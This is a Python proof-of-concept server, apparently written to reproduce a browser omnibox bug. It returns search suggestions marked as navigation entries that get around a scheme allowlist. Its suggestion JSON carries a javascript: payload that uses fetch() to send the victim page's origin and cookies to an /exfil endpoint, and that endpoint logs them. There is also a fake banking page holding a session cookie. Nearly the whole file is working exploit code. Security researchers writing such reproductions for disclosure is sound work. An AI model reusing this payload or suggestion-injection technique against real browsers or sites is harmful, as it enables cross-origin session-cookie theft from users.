#!/usr/bin/env python3
"""
Malicious suggest server for the keyword-engine NAVSUGGEST scheme-allowlist
bypass. Serves:
  /victim          - simulated cross-origin victim page (the "banking site")
  /search?q=...    - dummy search results page (the engine's search URL)
  /suggest?q=...   - returns NAVSUGGEST entries with javascript: / chrome:
                     destination URLs
  /exfil?...       - logs whatever the injected javascript: payload sends
"""

import http.server
import json
import sys
import threading
import urllib.parse

PORT = 8765
EXFIL_LOG = []
EXFIL_EVENT = threading.Event()

# javascript: payload that runs in the *current tab's* origin when the
# NAVSUGGEST row is opened from the omnibox dropdown. It posts the
# victim page's origin + a secret cookie back to the attacker server.
JS_PAYLOAD = (
    "javascript:void(fetch('http://127.0.0.1:%d/exfil?'+"
    "encodeURIComponent(document.location.origin+'|'+document.cookie)))"
    % PORT
)

VICTIM_HTML = b"""<!DOCTYPE html>
<html><head><title>Victim Bank</title></head>
<body>
<h1>Victim Bank Online</h1>
<p>Logged in as alice@example.com</p>
<script>
  // Simulate a session cookie on the victim origin.
  document.cookie = 'SESSION=topsecret-1234';
</script>
</body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")

    def _send(self, code, ctype, body):
        self.send_response(code)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        if u.path == '/victim':
            self._send(200, 'text/html; charset=utf-8', VICTIM_HTML)
        elif u.path == '/search':
            self._send(200, 'text/html; charset=utf-8',
                       b'<html><body>search results</body></html>')
        elif u.path == '/suggest':
            q = urllib.parse.parse_qs(u.query).get('q', [''])[0]
            # OpenSearch suggestions JSON format with the Google extensions
            # that SearchSuggestionParser honours for *any* engine.
            body = json.dumps([
                q,
                [JS_PAYLOAD, "chrome://version"],
                ["Sign in to continue", "About"],
                [],
                {
                    "google:suggesttype": ["NAVIGATION", "NAVIGATION"],
                    "google:suggestrelevance": [9999, 9800],
                },
            ]).encode()
            sys.stderr.write("[server] SUGGEST -> %s\n"
                             % JS_PAYLOAD[:80])
            self._send(200, 'application/json', body)
        elif u.path == '/exfil':
            data = urllib.parse.unquote(u.query)
            EXFIL_LOG.append(data)
            sys.stderr.write("\n" + "=" * 70 + "\n")
            sys.stderr.write("[server] *** EXFIL RECEIVED ***  %s\n" % data)
            sys.stderr.write("=" * 70 + "\n\n")
            EXFIL_EVENT.set()
            self._send(200, 'text/plain', b'ok')
        else:
            self._send(404, 'text/plain', b'not found')


def run():
    http.server.ThreadingHTTPServer.allow_reuse_address = True
    httpd = http.server.ThreadingHTTPServer(('127.0.0.1', PORT), Handler)
    sys.stderr.write("[server] listening on http://127.0.0.1:%d\n" % PORT)
    httpd.serve_forever()


if __name__ == '__main__':
    run()
